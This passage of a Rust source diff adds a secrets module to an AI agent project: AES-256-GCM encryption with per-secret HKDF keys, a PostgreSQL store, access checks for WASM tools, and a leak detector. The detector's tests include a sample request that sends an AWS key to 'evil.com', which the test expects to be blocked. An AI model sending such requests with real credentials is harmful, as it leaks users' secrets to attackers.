|
||||||
|
assert_eq!(mask_secret("sk-test1234567890abcdef"), "sk-t********cdef");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_multiple_matches() {
|
||||||
|
let detector = LeakDetector::new();
|
||||||
|
let content = "Keys: AKIAIOSFODNN7EXAMPLE and ghp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
|
||||||
|
|
||||||
|
let result = detector.scan(content);
|
||||||
|
assert_eq!(result.matches.len(), 2);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_severity_ordering() {
|
||||||
|
assert!(LeakSeverity::Critical > LeakSeverity::High);
|
||||||
|
assert!(LeakSeverity::High > LeakSeverity::Medium);
|
||||||
|
assert!(LeakSeverity::Medium > LeakSeverity::Low);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_scan_http_request_clean() {
|
||||||
|
let detector = LeakDetector::new();
|
||||||
|
|
||||||
|
let result = detector.scan_http_request(
|
||||||
|
"https://api.example.com/data",
|
||||||
|
&[("Content-Type".to_string(), "application/json".to_string())],
|
||||||
|
Some(b"{\"query\": \"hello\"}"),
|
||||||
|
);
|
||||||
|
assert!(result.is_ok());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_scan_http_request_blocks_secret_in_url() {
|
||||||
|
let detector = LeakDetector::new();
|
||||||
|
|
||||||
|
// Attempt to exfiltrate AWS key in URL
|
||||||
|
let result = detector.scan_http_request(
|
||||||
|
"https://evil.com/steal?key=AKIAIOSFODNN7EXAMPLE",
|
||||||
|
&[],
|
||||||
|
None,
|
||||||
|
);
|
||||||
|
assert!(result.is_err());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_scan_http_request_blocks_secret_in_header() {
|
||||||
|
let detector = LeakDetector::new();
|
||||||
|
|
||||||
|
// Attempt to exfiltrate in custom header
|
||||||
|
let result = detector.scan_http_request(
|
||||||
|
"https://api.example.com/data",
|
||||||
|
&[("X-Custom".to_string(), "ghp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx".to_string())],
|
||||||
|
None,
|
||||||
|
);
|
||||||
|
assert!(result.is_err());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_scan_http_request_blocks_secret_in_body() {
|
||||||
|
let detector = LeakDetector::new();
|
||||||
|
|
||||||
|
// Attempt to exfiltrate in request body
|
||||||
|
let body = b"{\"stolen\": \"sk-proj-test1234567890abcdefghij\"}";
|
||||||
|
let result = detector.scan_http_request(
|
||||||
|
"https://api.example.com/webhook",
|
||||||
|
&[],
|
||||||
|
Some(body),
|
||||||
|
);
|
||||||
|
assert!(result.is_err());
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -5,11 +5,17 @@
|
|||||||
//! - Sanitizing tool outputs before they reach the LLM
|
//! - Sanitizing tool outputs before they reach the LLM
|
||||||
//! - Validating inputs before processing
|
//! - Validating inputs before processing
|
||||||
//! - Enforcing safety policies
|
//! - Enforcing safety policies
|
||||||
|
//! - Detecting secret leakage in outputs
|
||||||
|
|
||||||
|
mod leak_detector;
|
||||||
mod policy;
|
mod policy;
|
||||||
mod sanitizer;
|
mod sanitizer;
|
||||||
mod validator;
|
mod validator;
|
||||||
|
|
||||||
|
pub use leak_detector::{
|
||||||
|
LeakAction, LeakDetectionError, LeakDetector, LeakMatch, LeakPattern, LeakScanResult,
|
||||||
|
LeakSeverity,
|
||||||
|
};
|
||||||
pub use policy::{Policy, PolicyRule, Severity};
|
pub use policy::{Policy, PolicyRule, Severity};
|
||||||
pub use sanitizer::{InjectionWarning, SanitizedOutput, Sanitizer};
|
pub use sanitizer::{InjectionWarning, SanitizedOutput, Sanitizer};
|
||||||
pub use validator::{ValidationResult, Validator};
|
pub use validator::{ValidationResult, Validator};
|
||||||
|
|||||||
@@ -0,0 +1,250 @@
|
|||||||
|
//! Cryptographic operations for secret storage.
|
||||||
|
//!
|
||||||
|
//! Uses AES-256-GCM for authenticated encryption with per-secret key derivation.
|
||||||
|
//!
|
||||||
|
//! # Key Derivation
|
||||||
|
//!
|
||||||
|
//! ```text
|
||||||
|
//! master_key (from env) ─┬─► HKDF-SHA256 ─► derived_key (per secret)
|
||||||
|
//! │
|
||||||
|
//! per-secret salt ───────┘
|
||||||
|
//! ```
|
||||||
|
//!
|
||||||
|
//! Each secret has its own randomly-generated salt, so even if two secrets
|
||||||
|
//! have the same plaintext, they'll have different ciphertexts.
|
||||||
|
|
||||||
|
use aes_gcm::{
|
||||||
|
Aes256Gcm, KeyInit, Nonce,
|
||||||
|
aead::{Aead, AeadCore, OsRng},
|
||||||
|
};
|
||||||
|
use hkdf::Hkdf;
|
||||||
|
use secrecy::{ExposeSecret, SecretString};
|
||||||
|
use sha2::Sha256;
|
||||||
|
|
||||||
|
use crate::secrets::types::{DecryptedSecret, SecretError};
|
||||||
|
|
||||||
|
/// Size of the AES-256 key in bytes.
|
||||||
|
const KEY_SIZE: usize = 32;
|
||||||
|
|
||||||
|
/// Size of the GCM nonce in bytes.
|
||||||
|
const NONCE_SIZE: usize = 12;
|
||||||
|
|
||||||
|
/// Size of the per-secret salt for key derivation.
|
||||||
|
const SALT_SIZE: usize = 32;
|
||||||
|
|
||||||
|
/// Size of the GCM authentication tag.
|
||||||
|
const TAG_SIZE: usize = 16;
|
||||||
|
|
||||||
|
/// Cryptographic operations for secrets.
|
||||||
|
///
|
||||||
|
/// Holds the master key and provides encrypt/decrypt operations.
|
||||||
|
/// The master key is kept in secure memory and zeroed on drop.
|
||||||
|
pub struct SecretsCrypto {
|
||||||
|
master_key: SecretString,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl SecretsCrypto {
|
||||||
|
/// Create a new crypto instance from a master key.
|
||||||
|
///
|
||||||
|
/// The master key should be at least 32 bytes of high-entropy data,
|
||||||
|
/// typically loaded from an environment variable or secure vault.
|
||||||
|
pub fn new(master_key: SecretString) -> Result<Self, SecretError> {
|
||||||
|
// Validate master key length
|
||||||
|
if master_key.expose_secret().len() < KEY_SIZE {
|
||||||
|
return Err(SecretError::InvalidMasterKey);
|
||||||
|
}
|
||||||
|
Ok(Self { master_key })
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Generate a random salt for a new secret.
|
||||||
|
pub fn generate_salt() -> Vec<u8> {
|
||||||
|
let mut salt = vec![0u8; SALT_SIZE];
|
||||||
|
rand::RngCore::fill_bytes(&mut rand::thread_rng(), &mut salt);
|
||||||
|
salt
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Encrypt a secret value.
|
||||||
|
///
|
||||||
|
/// Returns (encrypted_value, salt) where:
|
||||||
|
/// - encrypted_value = nonce || ciphertext || tag
|
||||||
|
/// - salt = random bytes used for key derivation
|
||||||
|
pub fn encrypt(&self, plaintext: &[u8]) -> Result<(Vec<u8>, Vec<u8>), SecretError> {
|
||||||
|
let salt = Self::generate_salt();
|
||||||
|
let derived_key = self.derive_key(&salt)?;
|
||||||
|
|
||||||
|
let cipher = Aes256Gcm::new_from_slice(&derived_key).map_err(|e| {
|
||||||
|
SecretError::EncryptionFailed(format!("Failed to create cipher: {}", e))
|
||||||
|
})?;
|
||||||
|
|
||||||
|
// Generate random nonce
|
||||||
|
let nonce = Aes256Gcm::generate_nonce(&mut OsRng);
|
||||||
|
|
||||||
|
// Encrypt
|
||||||
|
let ciphertext = cipher
|
||||||
|
.encrypt(&nonce, plaintext)
|
||||||
|
.map_err(|e| SecretError::EncryptionFailed(format!("Encryption failed: {}", e)))?;
|
||||||
|
|
||||||
|
// Combine: nonce || ciphertext (which includes tag)
|
||||||
|
let mut encrypted = Vec::with_capacity(NONCE_SIZE + ciphertext.len());
|
||||||
|
encrypted.extend_from_slice(&nonce);
|
||||||
|
encrypted.extend_from_slice(&ciphertext);
|
||||||
|
|
||||||
|
Ok((encrypted, salt))
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Decrypt a secret value.
|
||||||
|
///
|
||||||
|
/// Takes the encrypted_value (nonce || ciphertext || tag) and the salt
|
||||||
|
/// that was used during encryption.
|
||||||
|
pub fn decrypt(
|
||||||
|
&self,
|
||||||
|
encrypted_value: &[u8],
|
||||||
|
salt: &[u8],
|
||||||
|
) -> Result<DecryptedSecret, SecretError> {
|
||||||
|
if encrypted_value.len() < NONCE_SIZE + TAG_SIZE {
|
||||||
|
return Err(SecretError::DecryptionFailed(
|
||||||
|
"Encrypted value too short".to_string(),
|
||||||
|
));
|
||||||
|
}
|
||||||
|
|
||||||
|
let derived_key = self.derive_key(salt)?;
|
||||||
|
|
||||||
|
let cipher = Aes256Gcm::new_from_slice(&derived_key).map_err(|e| {
|
||||||
|
SecretError::DecryptionFailed(format!("Failed to create cipher: {}", e))
|
||||||
|
})?;
|
||||||
|
|
||||||
|
// Split: nonce || ciphertext
|
||||||
|
let (nonce_bytes, ciphertext) = encrypted_value.split_at(NONCE_SIZE);
|
||||||
|
let nonce = Nonce::from_slice(nonce_bytes);
|
||||||
|
|
||||||
|
// Decrypt
|
||||||
|
let plaintext = cipher
|
||||||
|
.decrypt(nonce, ciphertext)
|
||||||
|
.map_err(|e| SecretError::DecryptionFailed(format!("Decryption failed: {}", e)))?;
|
||||||
|
|
||||||
|
DecryptedSecret::from_bytes(plaintext)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Derive a per-secret key using HKDF-SHA256.
|
||||||
|
fn derive_key(&self, salt: &[u8]) -> Result<[u8; KEY_SIZE], SecretError> {
|
||||||
|
let master_bytes = self.master_key.expose_secret().as_bytes();
|
||||||
|
|
||||||
|
// HKDF extract + expand
|
||||||
|
let hk = Hkdf::<Sha256>::new(Some(salt), master_bytes);
|
||||||
|
|
||||||
|
let mut derived = [0u8; KEY_SIZE];
|
||||||
|
hk.expand(b"near-agent-secrets-v1", &mut derived)
|
||||||
|
.map_err(|_| SecretError::EncryptionFailed("HKDF expansion failed".to_string()))?;
|
||||||
|
|
||||||
|
Ok(derived)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl std::fmt::Debug for SecretsCrypto {
|
||||||
|
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||||
|
f.debug_struct("SecretsCrypto")
|
||||||
|
.field("master_key", &"[REDACTED]")
|
||||||
|
.finish()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use secrecy::SecretString;
|
||||||
|
|
||||||
|
use crate::secrets::crypto::SecretsCrypto;
|
||||||
|
|
||||||
|
fn test_crypto() -> SecretsCrypto {
|
||||||
|
// 32-byte test key
|
||||||
|
let key = "0123456789abcdef0123456789abcdef";
|
||||||
|
SecretsCrypto::new(SecretString::from(key.to_string())).unwrap()
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_encrypt_decrypt_roundtrip() {
|
||||||
|
let crypto = test_crypto();
|
||||||
|
let plaintext = b"my_super_secret_api_key_12345";
|
||||||
|
|
||||||
|
let (encrypted, salt) = crypto.encrypt(plaintext).unwrap();
|
||||||
|
|
||||||
|
// Encrypted should be larger than plaintext (nonce + tag)
|
||||||
|
assert!(encrypted.len() > plaintext.len());
|
||||||
|
|
||||||
|
let decrypted = crypto.decrypt(&encrypted, &salt).unwrap();
|
||||||
|
assert_eq!(decrypted.expose().as_bytes(), plaintext);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_different_salts_different_ciphertext() {
|
||||||
|
let crypto = test_crypto();
|
||||||
|
let plaintext = b"same_secret";
|
||||||
|
|
||||||
|
let (encrypted1, salt1) = crypto.encrypt(plaintext).unwrap();
|
||||||
|
let (encrypted2, salt2) = crypto.encrypt(plaintext).unwrap();
|
||||||
|
|
||||||
|
// Same plaintext, different salts = different ciphertext
|
||||||
|
assert_ne!(salt1, salt2);
|
||||||
|
assert_ne!(encrypted1, encrypted2);
|
||||||
|
|
||||||
|
// But both decrypt to the same value
|
||||||
|
let decrypted1 = crypto.decrypt(&encrypted1, &salt1).unwrap();
|
||||||
|
let decrypted2 = crypto.decrypt(&encrypted2, &salt2).unwrap();
|
||||||
|
assert_eq!(decrypted1.expose(), decrypted2.expose());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_wrong_salt_fails() {
|
||||||
|
let crypto = test_crypto();
|
||||||
|
let plaintext = b"secret";
|
||||||
|
|
||||||
|
let (encrypted, _salt) = crypto.encrypt(plaintext).unwrap();
|
||||||
|
let wrong_salt = SecretsCrypto::generate_salt();
|
||||||
|
|
||||||
|
let result = crypto.decrypt(&encrypted, &wrong_salt);
|
||||||
|
assert!(result.is_err());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_tampered_ciphertext_fails() {
|
||||||
|
let crypto = test_crypto();
|
||||||
|
let plaintext = b"secret";
|
||||||
|
|
||||||
|
let (mut encrypted, salt) = crypto.encrypt(plaintext).unwrap();
|
||||||
|
|
||||||
|
// Tamper with the ciphertext
|
||||||
|
if let Some(byte) = encrypted.last_mut() {
|
||||||
|
*byte ^= 0xFF;
|
||||||
|
}
|
||||||
|
|
||||||
|
let result = crypto.decrypt(&encrypted, &salt);
|
||||||
|
assert!(result.is_err());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_master_key_too_short() {
|
||||||
|
let short_key = "tooshort";
|
||||||
|
let result = SecretsCrypto::new(SecretString::from(short_key.to_string()));
|
||||||
|
assert!(result.is_err());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_empty_plaintext() {
|
||||||
|
let crypto = test_crypto();
|
||||||
|
let plaintext = b"";
|
||||||
|
|
||||||
|
let (encrypted, salt) = crypto.encrypt(plaintext).unwrap();
|
||||||
|
let decrypted = crypto.decrypt(&encrypted, &salt).unwrap();
|
||||||
|
assert!(decrypted.is_empty());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_large_plaintext() {
|
||||||
|
let crypto = test_crypto();
|
||||||
|
// 1 MB of data
|
||||||
|
let plaintext = vec![0x42u8; 1024 * 1024];
|
||||||
|
|
||||||
|
let (encrypted, salt) = crypto.encrypt(&plaintext).unwrap();
|
||||||
|
let decrypted = crypto.decrypt(&encrypted, &salt).unwrap();
|
||||||
|
assert_eq!(decrypted.expose().as_bytes(), plaintext.as_slice());
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,66 @@
|
|||||||
|
//! Secrets management for secure credential storage and injection.
|
||||||
|
//!
|
||||||
|
//! This module provides:
|
||||||
|
//! - AES-256-GCM encrypted secret storage
|
||||||
|
//! - Per-secret key derivation (HKDF-SHA256)
|
||||||
|
//! - PostgreSQL persistence
|
||||||
|
//! - Access control for WASM tools
|
||||||
|
//!
|
||||||
|
//! # Security Model
|
||||||
|
//!
|
||||||
|
//! ```text
|
||||||
|
//! ┌─────────────────────────────────────────────────────────────────────────────┐
|
||||||
|
//! │ Secret Lifecycle │
|
||||||
|
//! │ │
|
||||||
|
//! │ User stores secret ──► Encrypt with AES-256-GCM ──► Store in PostgreSQL │
|
||||||
|
//! │ (per-secret key via HKDF) │
|
||||||
|
//! │ │
|
||||||
|
//! │ WASM requests HTTP ──► Host checks allowlist ──► Decrypt secret ──► │
|
||||||
|
//! │ & allowed_secrets (in memory only) │
|
||||||
|
//! │ │ │
|
||||||
|
//! │ ▼ │
|
||||||
|
//! │ Inject into request ──► Execute HTTP call │
|
||||||
|
//! │ (WASM never sees value) │
|
||||||
|
//! │ │ │
|
||||||
|
//! │ ▼ │
|
||||||
|
//! │ Leak detector scans ──► Return response to WASM │
|
||||||
|
//! │ response for secrets │
|
||||||
|
//! └─────────────────────────────────────────────────────────────────────────────┘
|
||||||
|
//! ```
|
||||||
|
//!
|
||||||
|
//! # Example
|
||||||
|
//!
|
||||||
|
//! ```ignore
|
||||||
|
//! use near_agent::secrets::{SecretsStore, PostgresSecretsStore, SecretsCrypto, CreateSecretParams};
|
||||||
|
//! use secrecy::SecretString;
|
||||||
|
//!
|
||||||
|
//! // Initialize crypto with master key from environment
|
||||||
|
//! let master_key = SecretString::from(std::env::var("SECRETS_MASTER_KEY")?);
|
||||||
|
//! let crypto = Arc::new(SecretsCrypto::new(master_key)?);
|
||||||
|
//!
|
||||||
|
//! // Create store
|
||||||
|
//! let store = PostgresSecretsStore::new(pool, crypto);
|
||||||
|
//!
|
||||||
|
//! // Store a secret
|
||||||
|
//! store.create("user_123", CreateSecretParams::new("openai_key", "sk-...")).await?;
|
||||||
|
//!
|
||||||
|
//! // Check if secret exists (WASM can call this)
|
||||||
|
//! let exists = store.exists("user_123", "openai_key").await?;
|
||||||
|
//!
|
||||||
|
//! // Decrypt for injection (host boundary only)
|
||||||
|
//! let decrypted = store.get_decrypted("user_123", "openai_key").await?;
|
||||||
|
//! ```
|
||||||
|
|
||||||
|
mod crypto;
|
||||||
|
mod store;
|
||||||
|
mod types;
|
||||||
|
|
||||||
|
pub use crypto::SecretsCrypto;
|
||||||
|
pub use store::{PostgresSecretsStore, SecretsStore};
|
||||||
|
pub use types::{
|
||||||
|
CreateSecretParams, CredentialLocation, CredentialMapping, DecryptedSecret, Secret,
|
||||||
|
SecretError, SecretRef,
|
||||||
|
};
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
pub use store::testing::InMemorySecretsStore;
|
||||||
@@ -0,0 +1,586 @@
|
|||||||
|
//! Secret storage with PostgreSQL persistence.
|
||||||
|
//!
|
||||||
|
//! Provides CRUD operations for encrypted secrets. The store handles:
|
||||||
|
//! - Encryption/decryption via SecretsCrypto
|
||||||
|
//! - Expiration checking
|
||||||
|
//! - Usage tracking
|
||||||
|
//! - Access control (which secrets a tool can use)
|
||||||
|
|
||||||
|
use std::sync::Arc;
|
||||||
|
|
||||||
|
use async_trait::async_trait;
|
||||||
|
use chrono::Utc;
|
||||||
|
use deadpool_postgres::Pool;
|
||||||
|
use secrecy::ExposeSecret;
|
||||||
|
use uuid::Uuid;
|
||||||
|
|
||||||
|
use crate::secrets::crypto::SecretsCrypto;
|
||||||
|
use crate::secrets::types::{CreateSecretParams, DecryptedSecret, Secret, SecretError, SecretRef};
|
||||||
|
|
||||||
|
/// Trait for secret storage operations.
|
||||||
|
///
|
||||||
|
/// Allows for different implementations (PostgreSQL, in-memory for testing).
|
||||||
|
#[async_trait]
|
||||||
|
pub trait SecretsStore: Send + Sync {
|
||||||
|
/// Store a new secret.
|
||||||
|
async fn create(
|
||||||
|
&self,
|
||||||
|
user_id: &str,
|
||||||
|
params: CreateSecretParams,
|
||||||
|
) -> Result<Secret, SecretError>;
|
||||||
|
|
||||||
|
/// Get a secret by name (encrypted form).
|
||||||
|
async fn get(&self, user_id: &str, name: &str) -> Result<Secret, SecretError>;
|
||||||
|
|
||||||
|
/// Get and decrypt a secret.
|
||||||
|
async fn get_decrypted(
|
||||||
|
&self,
|
||||||
|
user_id: &str,
|
||||||
|
name: &str,
|
||||||
|
) -> Result<DecryptedSecret, SecretError>;
|
||||||
|
|
||||||
|
/// Check if a secret exists.
|
||||||
|
async fn exists(&self, user_id: &str, name: &str) -> Result<bool, SecretError>;
|
||||||
|
|
||||||
|
/// List all secret references for a user (no values).
|
||||||
|
async fn list(&self, user_id: &str) -> Result<Vec<SecretRef>, SecretError>;
|
||||||
|
|
||||||
|
/// Delete a secret.
|
||||||
|
async fn delete(&self, user_id: &str, name: &str) -> Result<bool, SecretError>;
|
||||||
|
|
||||||
|
/// Update secret usage tracking.
|
||||||
|
async fn record_usage(&self, secret_id: Uuid) -> Result<(), SecretError>;
|
||||||
|
|
||||||
|
/// Check if a secret is accessible by a tool (based on allowed_secrets).
|
||||||
|
async fn is_accessible(
|
||||||
|
&self,
|
||||||
|
user_id: &str,
|
||||||
|
secret_name: &str,
|
||||||
|
allowed_secrets: &[String],
|
||||||
|
) -> Result<bool, SecretError>;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// PostgreSQL implementation of SecretsStore.
|
||||||
|
pub struct PostgresSecretsStore {
|
||||||
|
pool: Pool,
|
||||||
|
crypto: Arc<SecretsCrypto>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl PostgresSecretsStore {
|
||||||
|
/// Create a new store with the given database pool and crypto instance.
|
||||||
|
pub fn new(pool: Pool, crypto: Arc<SecretsCrypto>) -> Self {
|
||||||
|
Self { pool, crypto }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[async_trait]
|
||||||
|
impl SecretsStore for PostgresSecretsStore {
|
||||||
|
async fn create(
|
||||||
|
&self,
|
||||||
|
user_id: &str,
|
||||||
|
params: CreateSecretParams,
|
||||||
|
) -> Result<Secret, SecretError> {
|
||||||
|
let client = self
|
||||||
|
.pool
|
||||||
|
.get()
|
||||||
|
.await
|
||||||
|
.map_err(|e| SecretError::Database(e.to_string()))?;
|
||||||
|
|
||||||
|
// Encrypt the secret value
|
||||||
|
let plaintext = params.value.expose_secret().as_bytes();
|
||||||
|
let (encrypted_value, key_salt) = self.crypto.encrypt(plaintext)?;
|
||||||
|
|
||||||
|
let id = Uuid::new_v4();
|
||||||
|
let now = Utc::now();
|
||||||
|
|
||||||
|
let row = client
|
||||||
|
.query_one(
|
||||||
|
r#"
|
||||||
|
INSERT INTO secrets (id, user_id, name, encrypted_value, key_salt, provider, expires_at, created_at, updated_at)
|
||||||
|
VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $8)
|
||||||
|
ON CONFLICT (user_id, name) DO UPDATE SET
|
||||||
|
encrypted_value = EXCLUDED.encrypted_value,
|
||||||
|
key_salt = EXCLUDED.key_salt,
|
||||||
|
provider = EXCLUDED.provider,
|
||||||
|
expires_at = EXCLUDED.expires_at,
|
||||||
|
updated_at = NOW()
|
||||||
|
RETURNING id, user_id, name, encrypted_value, key_salt, provider, expires_at,
|
||||||
|
last_used_at, usage_count, created_at, updated_at
|
||||||
|
"#,
|
||||||
|
&[
|
||||||
|
&id,
|
||||||
|
&user_id,
|
||||||
|
¶ms.name,
|
||||||
|
&encrypted_value,
|
||||||
|
&key_salt,
|
||||||
|
¶ms.provider,
|
||||||
|
¶ms.expires_at,
|
||||||
|
&now,
|
||||||
|
],
|
||||||
|
)
|
||||||
|
.await
|
||||||
|
.map_err(|e| SecretError::Database(e.to_string()))?;
|
||||||
|
|
||||||
|
Ok(row_to_secret(&row))
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn get(&self, user_id: &str, name: &str) -> Result<Secret, SecretError> {
|
||||||
|
let client = self
|
||||||
|
.pool
|
||||||
|
.get()
|
||||||
|
.await
|
||||||
|
.map_err(|e| SecretError::Database(e.to_string()))?;
|
||||||
|
|
||||||
|
let row = client
|
||||||
|
.query_opt(
|
||||||
|
r#"
|
||||||
|
SELECT id, user_id, name, encrypted_value, key_salt, provider, expires_at,
|
||||||
|
last_used_at, usage_count, created_at, updated_at
|
||||||
|
FROM secrets
|
||||||
|
WHERE user_id = $1 AND name = $2
|
||||||
|
"#,
|
||||||
|
&[&user_id, &name],
|
||||||
|
)
|
||||||
|
.await
|
||||||
|
.map_err(|e| SecretError::Database(e.to_string()))?;
|
||||||
|
|
||||||
|
match row {
|
||||||
|
Some(r) => {
|
||||||
|
let secret = row_to_secret(&r);
|
||||||
|
|
||||||
|
// Check expiration
|
||||||
|
if let Some(expires_at) = secret.expires_at {
|
||||||
|
if expires_at < Utc::now() {
|
||||||
|
return Err(SecretError::Expired);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(secret)
|
||||||
|
}
|
||||||
|
None => Err(SecretError::NotFound(name.to_string())),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn get_decrypted(
|
||||||
|
&self,
|
||||||
|
user_id: &str,
|
||||||
|
name: &str,
|
||||||
|
) -> Result<DecryptedSecret, SecretError> {
|
||||||
|
let secret = self.get(user_id, name).await?;
|
||||||
|
self.crypto
|
||||||
|
.decrypt(&secret.encrypted_value, &secret.key_salt)
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn exists(&self, user_id: &str, name: &str) -> Result<bool, SecretError> {
|
||||||
|
let client = self
|
||||||
|
.pool
|
||||||
|
.get()
|
||||||
|
.await
|
||||||
|
.map_err(|e| SecretError::Database(e.to_string()))?;
|
||||||
|
|
||||||
|
let row = client
|
||||||
|
.query_one(
|
||||||
|
"SELECT EXISTS(SELECT 1 FROM secrets WHERE user_id = $1 AND name = $2)",
|
||||||
|
&[&user_id, &name],
|
||||||
|
)
|
||||||
|
.await
|
||||||
|
.map_err(|e| SecretError::Database(e.to_string()))?;
|
||||||
|
|
||||||
|
Ok(row.get(0))
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn list(&self, user_id: &str) -> Result<Vec<SecretRef>, SecretError> {
|
||||||
|
let client = self
|
||||||
|
.pool
|
||||||
|
.get()
|
||||||
|
.await
|
||||||
|
.map_err(|e| SecretError::Database(e.to_string()))?;
|
||||||
|
|
||||||
|
let rows = client
|
||||||
|
.query(
|
||||||
|
"SELECT name, provider FROM secrets WHERE user_id = $1 ORDER BY name",
|
||||||
|
&[&user_id],
|
||||||
|
)
|
||||||
|
.await
|
||||||
|
.map_err(|e| SecretError::Database(e.to_string()))?;
|
||||||
|
|
||||||
|
Ok(rows
|
||||||
|
.into_iter()
|
||||||
|
.map(|r| SecretRef {
|
||||||
|
name: r.get(0),
|
||||||
|
provider: r.get(1),
|
||||||
|
})
|
||||||
|
.collect())
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn delete(&self, user_id: &str, name: &str) -> Result<bool, SecretError> {
|
||||||
|
let client = self
|
||||||
|
.pool
|
||||||
|
.get()
|
||||||
|
.await
|
||||||
|
.map_err(|e| SecretError::Database(e.to_string()))?;
|
||||||
|
|
||||||
|
let result = client
|
||||||
|
.execute(
|
||||||
|
"DELETE FROM secrets WHERE user_id = $1 AND name = $2",
|
||||||
|
&[&user_id, &name],
|
||||||
|
)
|
||||||
|
.await
|
||||||
|
.map_err(|e| SecretError::Database(e.to_string()))?;
|
||||||
|
|
||||||
|
Ok(result > 0)
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn record_usage(&self, secret_id: Uuid) -> Result<(), SecretError> {
|
||||||
|
let client = self
|
||||||
|
.pool
|
||||||
|
.get()
|
||||||
|
.await
|
||||||
|
.map_err(|e| SecretError::Database(e.to_string()))?;
|
||||||
|
|
||||||
|
client
|
||||||
|
.execute(
|
||||||
|
r#"
|
||||||
|
UPDATE secrets
|
||||||
|
SET last_used_at = NOW(), usage_count = usage_count + 1
|
||||||
|
WHERE id = $1
|
||||||
|
"#,
|
||||||
|
&[&secret_id],
|
||||||
|
)
|
||||||
|
.await
|
||||||
|
.map_err(|e| SecretError::Database(e.to_string()))?;
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn is_accessible(
|
||||||
|
&self,
|
||||||
|
user_id: &str,
|
||||||
|
secret_name: &str,
|
||||||
|
allowed_secrets: &[String],
|
||||||
|
) -> Result<bool, SecretError> {
|
||||||
|
// First check if the secret exists
|
||||||
|
if !self.exists(user_id, secret_name).await? {
|
||||||
|
return Ok(false);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check if secret is in the allowed list
|
||||||
|
// Supports glob patterns: "openai_*" matches "openai_api_key"
|
||||||
|
for pattern in allowed_secrets {
|
||||||
|
if pattern == secret_name {
|
||||||
|
return Ok(true);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Simple glob: * matches any suffix
|
||||||
|
if let Some(prefix) = pattern.strip_suffix('*') {
|
||||||
|
if secret_name.starts_with(prefix) {
|
||||||
|
return Ok(true);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(false)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn row_to_secret(row: &tokio_postgres::Row) -> Secret {
|
||||||
|
Secret {
|
||||||
|
id: row.get("id"),
|
||||||
|
user_id: row.get("user_id"),
|
||||||
|
name: row.get("name"),
|
||||||
|
encrypted_value: row.get("encrypted_value"),
|
||||||
|
key_salt: row.get("key_salt"),
|
||||||
|
provider: row.get("provider"),
|
||||||
|
expires_at: row.get("expires_at"),
|
||||||
|
last_used_at: row.get("last_used_at"),
|
||||||
|
usage_count: row.get("usage_count"),
|
||||||
|
created_at: row.get("created_at"),
|
||||||
|
updated_at: row.get("updated_at"),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// In-memory implementation for testing.
|
||||||
|
#[cfg(test)]
|
||||||
|
pub mod testing {
|
||||||
|
use std::collections::HashMap;
|
||||||
|
use std::sync::Arc;
|
||||||
|
|
||||||
|
use async_trait::async_trait;
|
||||||
|
use chrono::Utc;
|
||||||
|
use secrecy::ExposeSecret;
|
||||||
|
use tokio::sync::RwLock;
|
||||||
|
use uuid::Uuid;
|
||||||
|
|
||||||
|
use crate::secrets::crypto::SecretsCrypto;
|
||||||
|
use crate::secrets::store::SecretsStore;
|
||||||
|
use crate::secrets::types::{
|
||||||
|
CreateSecretParams, DecryptedSecret, Secret, SecretError, SecretRef,
|
||||||
|
};
|
||||||
|
|
||||||
|
pub struct InMemorySecretsStore {
|
||||||
|
secrets: RwLock<HashMap<(String, String), Secret>>,
|
||||||
|
crypto: Arc<SecretsCrypto>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl InMemorySecretsStore {
|
||||||
|
pub fn new(crypto: Arc<SecretsCrypto>) -> Self {
|
||||||
|
Self {
|
||||||
|
